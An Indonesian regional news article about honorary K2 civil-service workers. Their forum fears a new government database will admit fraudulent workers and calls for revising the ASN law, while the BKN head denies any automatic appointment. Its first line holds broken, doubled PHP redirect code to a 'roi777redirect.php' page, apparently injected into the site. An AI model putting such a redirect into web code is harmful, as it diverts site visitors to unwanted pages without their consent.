header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Honorer Lampung Curigai Pemerintah -
Honorer Lampung Curigai Pemerintah

Buat Data Baru Honorer K2

TRANSLAMPUNG.COM, JAKARTA – Ketua Forum Honorer K2 Indonesia (FHK2I) Kabupaten Way Kanan, Lampung, Agus Yati berharap database yang sedang disusun KemenPAN-RB mengacu pada hasil pendataan 2013/2014.

Pada 2013 lalu, ada 439 ribu honorer kategori dua (K2) yang tidak lulus tes CPNS.

Dia juga mengungkit ketidakhadiran Menpan-RB Asman Abnur dalam rapat di Badan Legislasi DPR dan DPD.

“Jangan-jangan pemerintah membuat data baru lagi dan bisa terjadi kecurangan serta kebohongan yang dilakukan oleh pihak terkait. Mulai tingkat pusat, daerah, sampai kecamatan. Apalagi, sudah banyak kejadian di lapangan dengan adanya K2 siluman,” tutur Yati, Minggu (10/12).

Dia pun menghimbau kepada semua honorer K2 untuk mengecek data di daerah masing-masing, agar tidak kecolongan.

Yati tidak ingin data honorer K2 hilang dan diganti dengan honorer siluman, karena merasa sudah aman.

Yati juga meminta pemerintah mau menyambut keinginan DPR, untuk segera membahas revisi UU Aparatur Sipil Negara (ASN).

Menurut dia, mengubah UU bukanlah sesuatu hal yang tabu.

“Revisi suatu UU bukanlah hal yang tidak mungkin dilakukan. UUD 1945 saja yang katanya dahulu dibilang sebagai hal yang sangat tidak mungkin untuk diubah, ternyata bisa diubah. Apalagi UU ASN yang hitungannya baru tiga tahun,” kata Yati.

UU adalah produk anggota DPR yang digunakan untuk mengatur segala sesuatu yang memang belum diatur.

Manakala situasi dan perkembangan memungkinkan, lanjut Yati, kenapa tidak mengubah atau merevisi UU yang notabene buatan manusia juga.

“Kenapa kita harus enggan untuk memperbaiki atau merevisi suatu undang-undang, demi untuk perbaikan dan kemaslahatan masyarakat banyak,” ujar dia lagi.

Yati menambahkan, UU ASN mendesak direvisi karena ada unsur ketidakadilan di sana. Mestinya honorer K2 yang sudah lama mengabdi ikut dipertimbangkan untuk diangkat menjadi CPNS.

Ketentuan mengenai hal itu diharapkan diakomodir dalam revisi UU ASN.

Kriteria

Sebelumnya, FHK2I menyambut baik rencana revisi Undang-Undang Aparatur Sipil Negara (UU ASN), yang diharapkan mengakomodasi keinginan mereka diangkat menjadi CPNS.

Ketua Umum FHK2I Titi Purwaningsih menyatakan, pihaknya akan mengawal data honorer K2 di seluruh Indonesia. Hal ini untuk mencegah masuknya honorer bodong dalam tahapan seleksi pengangkatan menjadi CPNS nantinya.

Titi Purwaningsih mengungkapkan, ada banyak honorer yang direkrut di atas 2005.

Karena itu, agar hak honorer K2 tidak tergeser oleh honorer baru, perlu pengawalan data.

“Kami sudah siap mengawal. Seluruh korwil juga sudah mengantongi data masing-masing honorer K2 yang valid,” ujar Titi.

Dia menyebutkan, validitas data diukur dari masa pengabdian honorer K2 per Januari 2005 dan tidak terputus hingga sekarang.

Selain itu, sudah ikut tes pada 2013 (disertai bukti nomor tes) dan telah mengantongi surat pernyataan tanggung jawab mutlak (SPTJM) dari kepala daerah masing-masing.

Titi mengaku optimistis pemerintah juga tidak akan meloloskan honorer diangkat jadi CPNS.

“Kami akan mengawal data yang akan di-publish pemerintah nanti. Bila datanya beda akan kami persoalkan,” tegasnya.

Menurut Titi dari dari data 439 ribu honorer K2, jumlah kini makin berkurang. Dia memperkirakan tidak sampai 400 ribu lagi karena banyak yang meninggal maupun alih profesi.

Sejumlah anggota DPR mendesak agar honorer K2 diangkat menjadi CPNS 2018, setelah nantinya UU Aparatur Sipil Negara (ASN) direvisi.

Menanggapi desakan tersebut, Kepala Badan Kepegawaian Negara (BKN) Bima Haria Wibisana, mengatakan, belum saatnya membahas soal pengangkatan honorer K2.

“Gimana mau bahas peluang, revisi UU ASN kan belum dilakukan,” ujar Bima, Jumat (8/12).

Dia menegaskan, hingga saat ini belum ada aturan pengangkatan honorer K2 menjadi CPNS.

Jadi semuanya masih berpegang pada aturan UU ASN bahwa rekrutmen CPNS harus lewat proses selski dan tes kompetensi dasar maupun bidang.

“Jadi nggak ada itu rekrutmen otomatis,” ucapnya.

Sebelumnya, Bima menyatakan guru-guru honorer yang sudah mengabdi di wilayah 3T (terdepan, terluar, tertinggal) lebih baik diarahkan menjadi pegawai pemerintah dengan perjanjian kerja (P3K).

Nantinya guru tidak tetap dan honorer dikontrak sekolah bersangkutan. Bila gurunya pindah, otomatis kontraknya putus.

“Nggak harus semua honorer diarahkan menjadi PNS. Kalau syaratnya memenuhi bisa ikut seleksi CPNS,” tandasnya. (jpnn/rus)

News Reporter